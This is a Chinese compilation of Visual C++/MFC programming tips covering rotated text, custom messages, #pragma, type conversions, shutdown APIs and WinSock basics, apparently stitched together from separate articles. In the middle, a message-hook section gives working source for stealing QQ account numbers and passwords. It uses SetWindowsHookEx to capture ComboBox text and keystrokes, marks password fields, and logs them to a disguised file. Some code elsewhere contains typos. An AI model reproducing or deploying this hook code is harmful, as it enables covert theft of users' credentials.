在有的应用中,为了达到特殊的效果,经常需要显示旋转的文本。文本的显示方式,包括旋转,都是由字体来设置的。字体的属性主要由创建字体时使用的 LOGFONT结构规定,该结构中的lfEscapement域指定了文本行与X轴(水平轴)的角度,其角度单位是十分之一度。为了是所有的字体向相同的 方向旋转,还应同时将LOGFONT结构的lfClipPrecision域设为 CLIP_LH_ANGLES。下面的代码将在对话框中显示在同一起点每隔15度显示一行文本:
void CRotateTextDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
if (IsIconic())
{
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CRect rc;
GetClientRect(rc);
CString str(_T("............旋转文本!"));
dc.SetBkMode(TRANSPARENT);
dc.SetTextColor(#0000ff);
CFont font;
LOGFONT lf;
memset(&lf,0,sizeof(LOGFONT));
lf.lfHeight = -14;
lf.lfWeight = FW_NORMAL;
lf.lfClipPrecision = CLIP_LH_ANGLES;
strcpy(lf.lfFaceName, "宋体");
for (int i=0;i<3600;i+=150)
{
lf.lfEscapement = i;
font.CreateFontIndirect(&lf);
CFont *pOldFont = dc.SelectObject(&font);
dc.TextOut(rc.right/2, rc.bottom/2,str);
dc.SelectObject(pOldFont);
font.DeleteObject();
}
CDialog::OnPaint();
}
}
VC增加自定义消息
ClassWizard不允许增加用户自定义消息,所以你必须手工输入。输入后,ClassWizard就可以象处理其它消息一样处理你自定义的消息了。
下面是增加自定义消息的步骤:
第一步:定义消息。开发Windows95应用程序时,Microsoft推荐用户自定义消息至少是WM_USER+100,因为很多新控件也要使用WM_USER消息。
第二步:实现消息处理函数。该函数使用WPRAM和LPARAM参数并返回LPESULT。
LPESULT CMainFrame::OnMyMessage(WPARAM wParam, LPARAM lParam)
{
// TODO: 处理用户自定义消息
......
return 0;
}
第三步:在类头文件的AFX_MSG块中说明消息处理函数:
class CMainFrame:public CMDIFrameWnd
{
......
// 一般消息映射函数
protected:
// {{AFX_MSG(CMainFrame)
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnTimer(UINT nIDEvent);
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
}
第四步:在用户类的消息块中,使用ON_MESSAGE宏指令将消息映射到消息处理函数中。
BEGIN_MESSAGE_MAP(CMainFrame, CMDIFrameWnd)
//{{AFX_MSG_MAP(CMainFrame)
ON_WM_CREATE()
ON_WM_TIMER()
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
如果用户需要一个整个系统唯一的消息,可以调用SDK函数RegisterWindowMessage并使用ON_REGISTER_MESSAGE宏指令取代ON_MESSAGE宏指令,其余步骤同上。
(-). 常见的Afx全局函数:
AfxFormatString1:类似printf一般地将字符串格式化
AfxFormatString2:类似printf一般地将字符串格式化
AfxMessageBox:类似Windows API 函数 MessageBox
AfxOuputDebugString:将字符串输往除错装置
AfxGetApp:获得application object (CwinApp派生对象)的指针
AfxGetMainWnd:获得程序主窗口的指针
AfxGetInstance:获得程序的instance handle
(二). CString 与char []之间的转换.
char str[10] = ”str”;
CString sstr = “sstr”;
sstr.Format(“%s”,str);
strcpy(str,(LPCTSTR)sstr);
(三). 关闭程序:
PostQuitMessage(WM_CLOSE);
或者PostQuitMessage(WM_DESTROY);
更绝的是关闭所有的程序:::ExitWindows ();
(四). 在关闭窗口时,当要对文件进行保存时,可在这里添加函数:
1.)在CMainFrame里的OnClose()里,用MessageBox("内容","标题",组合形式);组合形式可以查看MSDN的MESSAGEBOX( ) Function
2.)在CXXXDoc::SaveModified() 里,只能用AfxMessageBox(""); 不能用MessageBox()函数
(五). 如何修改窗体的标题:
1.)修改主窗口的标题:m_pMainWnd->SetWindowText("你的标题");
2.)如果在你的document类中进行改,则直接调用SetTitle("..."),如果在你的view类中改,则GetDocument()->SetTitle("...")
3.)如果想使窗口的标题全部替换,则用:AfxGetMainWnd()->SetWindowText("你的标题");
(六). 得到窗体的标题:
1.)AfxGetMainWnd()->GetWindowText();
2.)先FindWindow()找到窗口的HWND,在GetWindowText();
(七). 在多文档/视图中:
1.)子窗口的最大化:
void CChildFrame::ActivateFrame(int nCmdShow)
{
// TODO: Add your specialized code here and/or call the base class
nCmdShow=SW_MAXIMIZE;
CMDIChildWnd::ActivateFrame(nCmdShow);
}
2.)屏蔽子对话框:在APP类里把这两句话屏蔽掉
if (!ProcessShellCommand(cmdInfo))
return FALSE;
3.)关闭子窗口:
::SendMessage(::AfxGetMainWnd()->m_hWnd, WM_COMMAND,ID_FILE_CLOSE,0);
(八). 在装进自定义的光标后,在移动的过程中,鼠标的形状总是在自定义和默认的光标之间晃动,可以这样解决,在视中的PreCreateWindow()中加入如下几句:
BOOL CXXXXView::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
cs.lpszClass =AfxRegisterWndClass(CS_HREDRAW|CS_VREDRAW,0,
(HBRUSH)::GetStockObject (WHITE_BRUSH),0);
return CView::PreCreateWindow(cs);
}
(九). 怎样禁止改变窗口的大小和不能移动的窗口:
在 CMainFrame的OnCreate函数中加入:
CMenu *pTopMenu=GetSystemMenu(false);
pTopMenu->RemoveMenu(4,MF_BYPOSITION);//最大化窗口不可用
pTopMenu->RemoveMenu(2,MF_BYPOSITION);//size
pTopMenu->RemoveMenu(1,MF_BYPOSITION);//使不可移动
(十).使窗口始终在最前方:
只要在App类中的InitInstance()函数中加入以下代码就可以了:
BOOL CwindowOnTopApp:: InitInstance()
{
//此处略去了VC自动生成的代码
m_pMainWnd->showWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();
m_pMainWnd->SetWindowPos(&CWnd::WndTopMost,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE|SWP_NOACTIVATE);
Return true;
}
VC中关闭计算机
ExitWindowsEx()函数定义格式:
BOOL ExitWindowsEx(
UINT uFlags, // shutdown operation
DWORD dwReason // shutdown reason
);
更详细的参数说明请参阅MSDN。
在Windows 98实现“注销/重启/关机”功能代码:
ExitWindowsEx(EWX_LOGOFF, 0); // 注销
ExitWindowsEx(EWX_REBOOT, 0); // 重启
ExitWindowsEx(EWX_SHUTDOWN, 0); // 关机
在Windows 2000实现“注销/重启/关机”功能代码:
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (FForce) // Forces processes to terminate
FFlag |= EWX_FORCE;
// Get version info to determine operation
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&osvi) == 0)
return false;
// Determine the platform
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
// Windows NT 3.51, Windows NT 4.0, Windows 2000,
// Windows XP, or Windows .NET Server
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return false;
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
}
ExitWindowsEx(FFlag, 0);
首先让我们来回顾一下Windows的消息分类。
·WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息
硬件的输入消息或USER模块的窗口管理消息,任何派生自CWnd的类均可接收此消息。
·WM_COMMAND命令消息
凡由UI对象产生的消息,可能来自菜单或加速键(wParam代表消息的来源),凡派生于CCmdTarget的类都由资格接收此消息。
·WM_COMMAND 或 WM_NOTIFY 控件通知消息,为的是向其父窗口(通常是对话框)通知某种消息。
控件分为:标准控件 如Edit、ComboBox、ListBox 使用WM_COMMAND
常用控件 如ImageList、ListCtrl、TreeCtrl等使用WM_NOTIFY
·WM_SYSCOMMAND系统菜单的命令消息。就是在窗口的标题栏处点右键弹出的菜单。
如图Windows消息处理机制图:
图:Windows 消息处理机制
360pskdocImg_8_xyz
通过上图,可以知道通过对某一线程设置消息钩子,就可以取得该线程消息泵分发出的消息。也就是说任何消息钩子截获的都是在消息泵处理之后的消息。下面列出常用的几个消息钩子类型:
·WH_GETMESSAGE 监视使用PostMessage()入消息队列的消息
·WH_CALLWNDPROC 监视系统发给(SendMessage())目标窗口过程处理之前的消息
·WH_CALLWNDPROCRET 监视目标窗口过程处理之后的消息(SendMessage())
·WH_KEYBOARD 监视键盘消息
·WH_MOUSE 监视鼠标消息
要想对某个窗口的消息进行挂钩,可以使用SPY++找到该窗口,设置要捕获消息的类型,开始捕捉后,可以看到列出的许多消息。每条消息的第三项有“S”、“R”、“P”字符,他们分别代表的意思:
·“S”该消息是使用SendMessage发送到消息队列的。它要等待返回。捕捉该消息需使用WH_CALLWNDPROC
·“R”该消息是使用SendMessage发送到消息队列,并经过目标窗口的处理函数处理过的消息。捕捉该消息需使用WH_CALLWNDPROCRET
·“P”该消息是使用PostMessage寄送到消息队列的消息,它不要求返回。使用WH_GETMESSAGE捕捉。
因为对要取的QQ的号码和密码,则需要对两类控件窗口消息挂钩,一是ComboBox,另一个当然是Edit啦。
hhook1 = SetWindowsHookEx(WH_CALLWNDPROCRET, CallWndRetProc, g_hinstDll, dwThreadId);
WH_CALLWNDPROCRET截取WM_GETTEXT取的组合框中的内容,还截获WM_KILLFOCUS取得编辑框(非密码框)的内容。
hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);
WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。
下面是这两个钩子消息处理函数的代码:
HINSTANCE g_hinstDll = NULL; // instance handle
HWND g_hwndComboBox = NULL; //Handle of window to be monitored
HWND g_hwndEdit = NULL;
TCHAR g_lpszEditDump[32] = {0}; //键盘输入Edit控件的内容
BOOL g_fSingleEnter = true; //一次键盘输入POST两次WM_CHAR
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma data_seg("Shared")
HHOOK g_hhook1 = NULL; // Hook handle for thread-specific hook
HHOOK g_hhook2 = NULL;
const char g_classname1[] = "ComboBox";
const char g_classname2[] = "Edit"; //for class name you want to monitor
#define FILE_PATH_NAME "c:\ravdataq.dat"
#pragma data_seg()
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static LRESULT WINAPI CallWndRetProc (int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR lpszClassName[16] = {0}; //消息所属窗口类名字
int nIndex = 0; //ComboBox所选内容的序列号
TCHAR lpszComboBox[16] = {0}; //ComboxBox所选的字符串内容
TCHAR lpszDump[64] = {0}; //组合框写入文件的字符串
TCHAR lpString[64] = {0}; //编辑框写入文件的字符串
CWPRETSTRUCT *pmsg = (CWPRETSTRUCT*)lParam;
if(nCode != HC_ACTION || wParam != NULL)
{
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
switch (pmsg->message)
{
case WM_GETTEXT:
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定的组合框
if((0 == lstrcmp(lpszClassName, g_classname1)) &&(NULL == g_hwndComboBox))
{
g_hwndComboBox = pmsg->hwnd;
}
if(g_hwndComboBox == pmsg->hwnd)
{
//取得当前ComboBox选择的序号
nIndex =(int) SendMessage(g_hwndComboBox,CB_GETCURSEL, 0, 0);
if(CB_ERR == nIndex)
{
//若没有选择则退出
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
lstrcpy(lpszComboBox, LPCSTR(pmsg->lParam));
wsprintf(lpszDump, " Index = %d content = %s ",nIndex, lpszComboBox);
//写入文件
fzWriteFile(lpszDump);
}
break;
case WM_KILLFOCUS:
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定应用程序下的编辑框
if ((lstrcmp(lpszClassName, g_classname2) == 0) &&
(g_hwndEdit != NULL))
{
//判断是否是密码框
if(::GetWindowLong(g_hwndEdit, GWL_STYLE) & ES_PASSWORD)
{
wsprintf(lpString, " Password = %s", (LPTSTR)g_lpszEditDump);
}
else
{
wsprintf(lpString, " Content = %s", (LPTSTR)g_lpszEditDump);
}
//将存储起来的字符串写入文件
fzWriteFile(lpString);
//清除一些全局变量
g_hwndEdit = NULL;
ZeroMemory(g_lpszEditDump, 32);
}
break;
}
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR lpStr[2] = {0}; //存储按键字符
char lpszClassName[16] = {0};
TCHAR CR = 0x0D; //回车
LRESULT lResult = CallNextHookEx(g_hhook2, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_CHAR: //截获发向焦点窗口的键盘消息
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定应用程序下的编辑框
if ((lstrcmp(lpszClassName, g_classname2) == 0) &&
(g_hwndEdit == NULL))
{
g_hwndEdit = pmsg->hwnd;
}
if (g_hwndEdit == pmsg->hwnd)
{
if(g_fSingleEnter)
{
lpStr[0] = (TCHAR)(pmsg->wParam);
lpStr[1] = ‘ ‘;
lstrcat((LPTSTR)g_lpszEditDump, (LPTSTR)lpStr);
g_fSingleEnter = false;
}
else
{
g_fSingleEnter = true;
}
}
break;
}
}
return(lResult);
}
#pragma 预处理指令详解
#pragma 预处理指令详解
在所有的预处理指令中,#Pragma 指令可能是最复杂的了,它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。#pragma指令对每个编译器给出了一个方法,在保持与C和 C++语言完全兼容的情况下,给出主机或操作系统专有的特征。依据定义,编译指示是机器或操作系统专有的,且对于每个编译器都是不同的。
其格式一般为: #Pragma Para
其中Para 为参数,下面来看一些常用的参数。
(1)message 参数。 Message 参数是我最喜欢的一个参数,它能够在编译信息输出窗
口中输出相应的信息,这对于源代码信息的控制是非常重要的。其使用方法为:
#Pragma message(“消息文本”)
当编译器遇到这条指令时就在编译输出窗口中将消息文本打印出来。
当我们在程序中定义了许多宏来控制源代码版本的时候,我们自己有可能都会忘记有没有正确的设置这些宏,此时我们可以用这条指令在编译的时候就进行检查。假设我们希望判断自己有没有在源代码的什么地方定义了_X86这个宏可以用下面的方法
#ifdef _X86
#Pragma message(“_X86 macro activated!”)
#endif
当我们定义了_X86这个宏以后,应用程序在编译时就会在编译输出窗口里显示“_
X86 macro activated!”。我们就不会因为不记得自己定义的一些特定的宏而抓耳挠腮了
。
(2)另一个使用得比较多的pragma参数是code_seg。格式如:
#pragma code_seg( ["section-name"[,"section-class"] ] )
它能够设置程序中函数代码存放的代码段,当我们开发驱动程序的时候就会使用到它。
(3)#pragma once (比较常用)
只要在头文件的最开始加入这条指令就能够保证头文件被编译一次,这条指令实际上在VC6中就已经有了,但是考虑到兼容性并没有太多的使用它。
(4)#pragma hdrstop表示预编译头文件到此为止,后面的头文件不进行预编译。BCB可以预编译头文件以加快链接的速度,但如果所有头文件都进行预编译又可能占太多磁盘空间,所以使用这个选项排除一些头文件。
有时单元之间有依赖关系,比如单元A依赖单元B,所以单元B要先于单元A编译。你可以用#pragma startup指定编译优先级,如果使用了#pragma package(smart_init) ,BCB就会根据优先级的大小先后编译。
(5)#pragma resource "*.dfm"表示把*.dfm文件中的资源加入工程。*.dfm中包括窗体
外观的定义。
(6)#pragma warning( disable : 4507 34; once : 4385; error : 164 )
等价于:
#pragma warning(disable:4507 34) // 不显示4507和34号警告信息
#pragma warning(once:4385) // 4385号警告信息仅报告一次
#pragma warning(error:164) // 把164号警告信息作为一个错误。
同时这个pragma warning 也支持如下格式:
#pragma warning( push [ ,n ] )
#pragma warning( pop )
这里n代表一个警告等级(1---4)。
#pragma warning( push )保存所有警告信息的现有的警告状态。
#pragma warning( push, n)保存所有警告信息的现有的警告状态,并且把全局警告
等级设定为n。
#pragma warning( pop )向栈中弹出最后一个警告信息,在入栈和出栈之间所作的
一切改动取消。例如:
#pragma warning( push )
#pragma warning( disable : 4705 )
#pragma warning( disable : 4706 )
#pragma warning( disable : 4707 )
//.......
#pragma warning( pop )
在这段代码的最后,重新保存所有的警告信息(包括4705,4706和4707)。
(7)pragma comment(...)
该指令将一个注释记录放入一个对象文件或可执行文件中。
常用的lib关键字,可以帮我们连入一个库文件。
每个编译程序可以用#pragma指令激活或终止该编译程序支持的一些编译功能。例如,对循环优化功能:
#pragma loop_opt(on) // 激活
#pragma loop_opt(off) // 终止
有时,程序中会有些函数会使编译器发出你熟知而想忽略的警告,如“Parameter xxx is never used in function xxx”,可以这样:
#pragma warn —100 // Turn off the warning message for warning #100
int insert_record(REC *r)
{ /* function body */ }
#pragma warn +100 // Turn the warning message for warning #100 back on
函数会产生一条有唯一特征码100的警告信息,如此可暂时终止该警告。
每个编译器对#pragma的实现不同,在一个编译器中有效在别的编译器中几乎无效。可从编译器的文档中查看。
尽管 C 和 C++ 都已经有标准,但是几乎每个编译器 (广义,包含连接器等) 扩展一些 C/C++ 关键字。合理地应用这些关键字,有时候能使我们的工作非常方便。下面随便说说 Visual C++ 中 #pragma 指示符的使用。
一、用#pragma导出DLL函数
传统的到出 DLL 函数的方法是使用模块定义文件 (.def),Visual C++ 提供了更简洁方便的方法,那就是“__declspec()”关键字后面跟“dllexport”,告诉连接去要导出这个函数,例如:
__declspec(dllexport) int __stdcall MyExportFunction(int iTest);
把“__declspec(dllexport)”放在函数声明的最前面,连接生成的 DLL 就会导出函数“_MyExportFunction@4”。
上面的导出函数的名称也许不是我的希望的,我们希望导出的是原版的“MyExportFunction”。还好,VC 提供了一个预处理指示符“#pragma”来指定连接选项 (不仅仅是这一个功能,还有很多指示功能) ,如下:
#pragma comment(linker,"/EXPORT:MyExportFunction=_MyExportFunction@4")
这下就天如人愿了:)。如果你想指定导出的顺序,或者只将函数导出为序号,没有 Entryname,这个预处理指示符 (确切地说是连接器) 都能够实现,看看 MSDN 的语法说明:
/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]
@ordinal 指定顺序;NONAME 指定只将函数导出为序号;DATA 关键字指定导出项为数据项。
二、指示文件只包含一次
在头文件中,一般在整个工程中我们只要包含一次就够了,但是如果我在多个 .c/.cpp 文件中都要包含着个头文件,比如 Windows.h,那很多声明等等岂不是有两次了?解决这个问题的传统的方法是在头文件开始出用 #define 定义一个宏,比如 Windows.h 中:
#ifndef _WINDOWS
#define _WINDOWS_
然后在文件结为加上
#endif
这样就可以避免被包含多次。但是这样的后果是代码的可读性较差 (个人观点),VC 给我们提供了另外一个途径,那就是在文件的前面加上:
#pragma once
是不是很方便?
三、使警告无效
有时候我们不得不对变量进行强制转换,由此引来编译器的一番警告,特别是 C++ 中,类型检查相对于 C 更为严格。这虽然不影响什么,但是看起来多不爽——我是故意要这样的,你警告什么!:)这时候你看到警告类型,比如“warning C4311: “类型转换” : 从“HHOOK”到“BOOL”的指针截断”,在前面加上:#pragma warning(disable: 4311) 编译器就没话说了:)。
四、指定连接要使用的库
比如我们连接的时候用到了 WSock32.lib,你当然可以不辞辛苦地把它加入到你的工程中。但是我觉得更方便的方法是使用 #pragma 指示符,指定要连接的库:#pragma comment(lib, "WSock32.lib")
五、显示编译消息
没多少用处,举个例子吧:
#ifdef _DEBUG
#pragma message("编译连接为调试模式...")
#endif // _DEBUG
VC常用数据类型使用转换详解
VC常用数据类型使用转换详解
本文将介绍一些常用数据类型的使用。
我们先定义一些常见类型变量借以说明
int i = 100;
long l = 2001;
float f=300.2;
double d=12345.119;
char username[]="女侠程佩君";
char temp[200];
char *buf;
CString str;
_variant_t v1;
_bstr_t v2;
一、其它数据类型转换为字符串
短整型(int)
itoa(i,temp,10);///将i转换为字符串放入temp中,最后一个数字表示十进制
itoa(i,temp,2); ///按二进制方式转换
长整型(long)
ltoa(l,temp,10);
二、从其它包含字符串的变量中获取指向该字符串的指针
CString变量
str = "2008北京奥运";
buf = (LPSTR)(LPCTSTR)str;
BSTR类型的_variant_t变量
v1 = (_bstr_t)"程序员";
buf = _com_util::ConvertBSTRToString((_bstr_t)v1);
三、字符串转换为其它数据类型
strcpy(temp,"123");
短整型(int)
i = atoi(temp);
长整型(long)
l = atol(temp);
浮点(double)
d = atof(temp);
四、其它数据类型转换到CString
使用CString的成员函数Format来转换,例如:
整数(int)
str.Format("%d",i);
浮点数(float)
str.Format("%f",i);
字符串指针(char *)等已经被CString构造函数支持的数据类型可以直接赋值
str = username;
五、BSTR、_bstr_t与CComBSTR
CComBSTR、_bstr_t是对BSTR的封装,BSTR是指向字符串的32位指针。
char *转换到BSTR可以这样: BSTR b=_com_util::ConvertStringToBSTR("数据");///使用前需要加上头文件comutil.h
反之可以使用char *p=_com_util::ConvertBSTRToString(b);
六、VARIANT 、_variant_t 与 COleVariant
VARIANT的结构可以参考头文件VC98IncludeOAIDL.H中关于结构体tagVARIANT的定义。
对于VARIANT变量的赋值:首先给vt成员赋值,指明数据类型,再对联合结构中相同数据类型的变量赋值,举个例子:
VARIANT va;
int a=2001;
va.vt=VT_I4;///指明整型数据
va.lVal=a; ///赋值
对于不马上赋值的VARIANT,最好先用Void VariantInit(VARIANTARG FAR* pvarg);进行初始化,其本质是将vt设置为VT_EMPTY,下表我们列举vt与常用数据的对应关系:
unsigned char bVal; VT_UI1
short iVal; VT_I2
long lVal; VT_I4
float fltVal; VT_R4
double dblVal; VT_R8
VARIANT_BOOL boolVal; VT_BOOL
SCODE scode; VT_ERROR
CY cyVal; VT_CY
DATE date; VT_DATE
BSTR bstrVal; VT_BSTR
IUnknown FAR* punkVal; VT_UNKNOWN
IDispatch FAR* pdispVal; VT_DISPATCH
SAFEARRAY FAR* parray; VT_ARRAY|*
unsigned char FAR* pbVal; VT_BYREF|VT_UI1
short FAR* piVal; VT_BYREF|VT_I2
long FAR* plVal; VT_BYREF|VT_I4
float FAR* pfltVal; VT_BYREF|VT_R4
double FAR* pdblVal; VT_BYREF|VT_R8
VARIANT_BOOL FAR* pboolVal; VT_BYREF|VT_BOOL
SCODE FAR* pscode; VT_BYREF|VT_ERROR
CY FAR* pcyVal; VT_BYREF|VT_CY
DATE FAR* pdate; VT_BYREF|VT_DATE
BSTR FAR* pbstrVal; VT_BYREF|VT_BSTR
IUnknown FAR* FAR* ppunkVal; VT_BYREF|VT_UNKNOWN
IDispatch FAR* FAR* ppdispVal; VT_BYREF|VT_DISPATCH
SAFEARRAY FAR* FAR* pparray; VT_ARRAY|*
VARIANT FAR* pvarVal; VT_BYREF|VT_VARIANT
void FAR* byref; VT_BYREF
_variant_t是VARIANT的封装类,其赋值可以使用强制类型转换,其构造函数会自动处理这些数据类型。
例如:
long l=222;
ing i=100;
_variant_t lVal(l);
lVal = (long)i;
COleVariant的使用与_variant_t的方法基本一样,请参考如下例子:
COleVariant v3 = "字符串", v4 = (long)1999;
CString str =(BSTR)v3.pbstrVal;
long i = v4.lVal;
七、其它
对消息的处理中我们经常需要将WPARAM或LPARAM等32位数据(DWORD)分解成两个16位数据(WORD),例如:
LPARAM lParam;
WORD loValue = LOWORD(lParam);///取低16位
WORD hiValue = HIWORD(lParam);///取高16位
对于16位的数据(WORD)我们可以用同样的方法分解成高低两个8位数据(BYTE),例如:
WORD wValue;
BYTE loValue = LOBYTE(wValue);///取低8位
BYTE hiValue = HIBYTE(wValue);///取高8位
CString与int、char*、char[100]之间的转换
CString互转int
将字符转换为整数,可以使用atoi、_atoi64或atol。
而将数字转换为CString变量,可以使用CString的Format函数。如
CString s;
int i = 64;
s.Format("%d", i)
Format函数的功能很强,值得你研究一下。
void CStrDlg::OnButton1()
{
// TODO: Add your control notification handler code here
CString
ss="1212.12";
int temp=atoi(ss);
CString aa;
aa.Format("%d",temp);
AfxMessageBox("var is " + aa);
}
sart.Format("%s",buf);
CString互转char*
///char * TO cstring
CString strtest;
char * charpoint;
charpoint="give string a value";
strtest=charpoint;
///cstring TO char *
charpoint=strtest.GetBuffer(strtest.GetLength());
标准C里没有string,char *==char []==string
可以用CString.Format("%s",char *)这个方法来将char *转成CString。要把CString转成char *,用操作符(LPCSTR)CString就可以了。
CString转换 char[100]
char a[100];
CString str("aaaaaa");
strncpy(a,(LPCTSTR)str,sizeof(a));
WinSock
初识WinSocket
Windows下网络编程的规范-Windows Sockets是Windows下得到广泛应用的、开放的、支持多种协议的网络编程接口。从1991年的1.0版到1995年的2.0.8版,经过不断完善并在Intel、Microsoft、Sun、SGI、Informix、Novell等公司的全力支持下,已成为Windows网络编程的事实上的标准。
Windows Sockets规范以U.C. Berkeley大学BSD UNIX中流行的Socket接口为范例定义了一套Micosoft Windows下网络编程接口。它不仅包含了人们所熟悉的Berkeley Socket风格的库函数;也包含了一组针对Windows的扩展库函数,以使程序员能充分地利用Windows消息驱动机制进行编程。Windows Sockets规范本意在于提供给应用程序开发者一套简单的API,并让各家网络软件供应商共同遵守。此外,在一个特定版本Windows的基础上,Windows Sockets也定义了一个二进制接口(ABI),以此来保证应用Windows Sockets API的应用程序能够在任何网络软件供应商的符合Windows Sockets协议的实现上工作。因此这份规范定义了应用程序开发者能够使用,并且网络软件供应商能够实现的一套库函数调用和相关语义。遵守这套Windows Sockets规范的网络软件,我们称之为Windows Sockets兼容的,而Windows Sockets兼容实现的提供者,我们称之为Windows Sockets提供者。一个网络软件供应商必须百分之百地实现Windows Sockets规范才能做到现Windows Sockets兼容。任何能够与Windows Sockets兼容实现协同工作的应用程序就被认为是具有Windows Sockets接口。我们称这种应用程序为Windows Sockets应用程序。Windows Sockets规范定义并记录了如何使用API与Internet协议族(IPS,通常我们指的是TCP/IP)连接,尤其要指出的是所有的Windows Sockets实现都支持流套接口和数据报套接口.应用程序调用Windows Sockets的API实现相互之间的通讯。Windows Sockets又利用下层的网络通讯协议功能和操作系统调用实现实际的通讯工作。它们之间的关系如图
360pskdocImg_9_xyz
通信的基础是套接口(Socket),一个套接口是通讯的一端。在这一端上 你可以找到与其对应的一个名字。一个正在被使用的套接口都有它的类型和与其相关的进程。套接口存在于通讯域中。通讯域是为了处理一般的线程通过套接口通讯 而引进的一种抽象概念。套接口通常和同一个域中的套接口交换数据(数据交换也可能穿越域的界限,但这时一定要执行某种解释程序)。Windows Sockets规范支持单一的通讯域,即Internet域。各种进程使用这个域互相之间用Internet协议族来进行通讯(Windows Sockets 1.1以上的版本支持其他的域,例如Windows Sockets 2)。 套接口可以根据通讯性质分类;这种性质对于用户是可见的。应用程序一般仅在同一类的套接口间通讯。不过只要底层的通讯协议允许,不同类型的套接口间也照样 可以通讯。用户目前可以使用两种套接口,即流套接口和数据报套接口。流套接口提供了双向的,有序的,无重复并且无记录边界的数据流服务。数据报套接口支持 双向的数据流,但并不保证是可靠,有序,无重复的。也就是说,一个从数据报套接口接收信息的进程有可能发现信息重复了,或者和发出时的顺序不同。数据报套 接口的一个重要特点是它保留了记录边界。对于这一特点,数据报套接口采用了与现在许多包交换网络(例如以太网)非常类似的模型。
一个在建立分布式应用时最常用的范例便是客户机/服务器模型。在这种方案中客户应用程序向服务器程序请求服务。这种方式隐含了在建立客户机/服务器间通讯时的非对称性。客户机/服 务器模型工作时要求有一套为客户机和服务器所共识的惯例来保证服务能够被提供(或被接受)。这一套惯例包含了一套协议。它必须在通讯的两头都被实现。根据 不同的实际情况,协议可能是对称的或是非对称的。在对称的协议中,每一方都有可能扮演主从角色;在非对称协议中,一方被不可改变地认为是主机,而另一方则 是从机。一个对称协议的例子是Internet中用于终端仿真的TELNET。而非对称协议的例子是Internet中的FTP。无论具体的协议是对称的或是非对称的,当服务被提供时必然存在"客户进程"和"服务进程"。一个服务程序通常在一个众所周知的地址监听对服务的请求,也就是说,服务进程一直处于休眠状态,直到一个客户对这个服务的地址提出了连接请求。在这个时刻,服务程序被"惊醒"并且为客户提供服务-对客户的请求作出适当的反应。这一请求/相应的过程可以简单的用图表示。虽然基于连接的服务是设计客户机/服务器应用程序时的标准,但有些服务也是可以通过数据报套接口提供的。
360pskdocImg_10_xyz
数据报套接口可以用来向许多系统支持的网络发送广播数据包。要实现这种功能,网络本身必须支持广播功 能,因为系统软件并不提供对广播功能的任何模拟。广播信息将会给网络造成极重的负担,因为它们要求网络上的每台主机都为它们服务,所以发送广播数据包的能 力被限制于那些用显式标记了允许广播的套接口中。广播通常是为了如下两个原因而使用的:1. 一个应用程序希望在本地网络中找到一个资源,而应用程序对该资源的地址又没有任何先验的知识。2. 一些重要的功能,例如路由要求把它们的信息发送给所有可以找到的邻机。被广播信息的目的地址取决于这一信息将在何种网络上广播。Internet域中支持一个速记地址用于广播-INADDR_BROADCAST。由于使用广播以前必须捆绑一个数据报套接口,所以所有收到的广播消息都带有发送者的地址和端口。
